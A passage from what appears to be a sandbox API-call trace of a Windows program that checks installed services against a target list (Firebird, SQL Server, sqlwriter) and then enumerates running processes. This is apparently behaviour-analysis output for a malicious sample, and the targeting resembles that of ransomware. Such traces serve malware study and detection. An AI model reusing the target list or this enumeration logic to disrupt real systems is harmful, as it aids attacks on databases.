lpString2="DPS") returned 1 [0121.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0121.281] lstrlenW (lpString="DusmSvc") returned 7 [0121.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0121.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0121.281] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0121.281] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0121.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0121.281] lstrlenW (lpString="EventLog") returned 8 [0121.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0121.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0121.282] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0121.282] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0121.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0121.282] lstrlenW (lpString="EventSystem") returned 11 [0121.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0121.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0121.282] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0121.282] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0121.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0121.282] lstrlenW (lpString="FontCache") returned 9 [0121.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0121.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0121.282] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0121.282] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0121.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0121.282] lstrlenW (lpString="gpsvc") returned 5 [0121.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0121.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0121.282] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0121.282] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0121.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0121.282] lstrlenW (lpString="iphlpsvc") returned 8 [0121.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0121.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0121.283] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0121.283] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0121.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0121.283] lstrlenW (lpString="KeyIso") returned 6 [0121.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0121.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0121.283] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0121.283] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0121.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0121.283] lstrlenW (lpString="LanmanServer") returned 12 [0121.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0121.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0121.283] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0121.283] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0121.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0121.283] lstrlenW (lpString="LanmanWorkstation") returned 17 [0121.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0121.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0121.283] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0121.283] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0121.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0121.283] lstrlenW (lpString="lfsvc") returned 5 [0121.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0121.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0121.283] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0121.283] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0121.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0121.284] lstrlenW (lpString="lmhosts") returned 7 [0121.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0121.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0121.284] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0121.284] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0121.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0121.284] lstrlenW (lpString="LSM") returned 3 [0121.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0121.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0121.284] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0121.284] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0121.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0121.284] lstrlenW (lpString="MapsBroker") returned 10 [0121.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0121.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0121.284] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0121.284] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0121.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0121.284] lstrlenW (lpString="MpsSvc") returned 6 [0121.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0121.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0121.284] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0121.284] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0121.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0121.285] lstrlenW (lpString="NcbService") returned 10 [0121.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0121.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0121.285] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0121.285] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0121.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0121.285] lstrlenW (lpString="netprofm") returned 8 [0121.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0121.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0121.285] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0121.285] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0121.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0121.285] lstrlenW (lpString="NlaSvc") returned 6 [0121.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0121.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0121.285] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0121.285] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0121.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0121.285] lstrlenW (lpString="nsi") returned 3 [0121.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0121.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0121.285] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0121.285] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0121.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0121.285] lstrlenW (lpString="PcaSvc") returned 6 [0121.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0121.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0121.286] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0121.286] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0121.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0121.286] lstrlenW (lpString="PlugPlay") returned 8 [0121.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0121.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0121.286] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0121.286] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0121.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0121.286] lstrlenW (lpString="Power") returned 5 [0121.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0121.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0121.286] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0121.286] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0121.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0121.286] lstrlenW (lpString="ProfSvc") returned 7 [0121.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0121.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0121.286] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0121.286] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0121.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0121.286] lstrlenW (lpString="RpcEptMapper") returned 12 [0121.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0121.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0121.287] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0121.287] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0121.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0121.287] lstrlenW (lpString="RpcSs") returned 5 [0121.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0121.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0121.287] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0121.287] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0121.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0121.287] lstrlenW (lpString="SamSs") returned 5 [0121.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0121.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0121.287] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0121.287] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0121.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0121.287] lstrlenW (lpString="Schedule") returned 8 [0121.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0121.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0121.287] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0121.287] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0121.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0121.287] lstrlenW (lpString="SecurityHealthService") returned 21 [0121.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0121.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0121.287] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0121.288] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0121.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0121.288] lstrlenW (lpString="SENS") returned 4 [0121.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0121.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0121.288] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0121.288] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0121.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0121.288] lstrlenW (lpString="ShellHWDetection") returned 16 [0121.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0121.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0121.288] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0121.288] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0121.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0121.288] lstrlenW (lpString="Spooler") returned 7 [0121.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0121.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0121.288] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0121.288] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0121.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0121.288] lstrlenW (lpString="sppsvc") returned 6 [0121.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0121.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0121.288] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0121.289] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0121.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0121.289] lstrlenW (lpString="SSDPSRV") returned 7 [0121.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0121.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0121.289] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0121.289] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0121.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0121.289] lstrlenW (lpString="StateRepository") returned 15 [0121.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0121.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0121.289] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0121.289] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0121.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6110e0 | out: hHeap=0x5b0000) returned 1 [0121.289] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0121.296] Process32FirstW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.297] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0121.298] lstrlenW (lpString="System") returned 6 [0121.298] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0121.299] lstrlenW (lpString="smss.exe") returned 8 [0121.299] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.300] lstrlenW (lpString="csrss.exe") returned 9 [0121.300] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0121.301] lstrlenW (lpString="wininit.exe") returned 11 [0121.301] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.306] lstrlenW (lpString="csrss.exe") returned 9 [0121.306] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0121.725] lstrlenW (lpString="winlogon.exe") returned 12 [0121.725] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0121.726] lstrlenW (lpString="services.exe") returned 12 [0121.726] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0121.727] lstrlenW (lpString="lsass.exe") returned 9 [0121.727] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.727] lstrlenW (lpString="svchost.exe") returned 11 [0121.728] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0121.728] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0121.729] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0121.729] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0121.729] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.730] lstrlenW (lpString="svchost.exe") returned 11 [0121.730] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0121.731] lstrlenW (lpString="dwm.exe") returned 7 [0121.731] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.732] lstrlenW (lpString="svchost.exe") returned 11 [0121.732] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.733] lstrlenW (lpString="svchost.exe") returned 11 [0121.733] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.734] lstrlenW (lpString="svchost.exe") returned 11 [0121.734] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.735] lstrlenW (lpString="svchost.exe") returned 11 [0121.735] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.736] lstrlenW (lpString="svchost.exe") returned 11 [0121.736] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.737] lstrlenW (lpString="svchost.exe") returned 11 [0121.737] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.738] lstrlenW (lpString="svchost.exe") returned 11 [0121.738] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.739] lstrlenW (lpString="svchost.exe") returned 11 [0121.739] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.740] lstrlenW (lpString="svchost.exe") returned 11 [0121.740] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0121.741] lstrlenW (lpString="spoolsv.exe") returned 11 [0121.741] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.742] lstrlenW (lpString="svchost.exe") returned 11 [0121.742] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.742] lstrlenW (lpString="svchost.exe") returned 11 [0121.743] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0121.743] lstrlenW (lpString="audiodg.exe") returned 11 [0121.743] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0121.744] lstrlenW (lpString="sihost.exe") returned 10 [0121.744] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.745] lstrlenW (lpString="svchost.exe") returned 11 [0121.745] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, 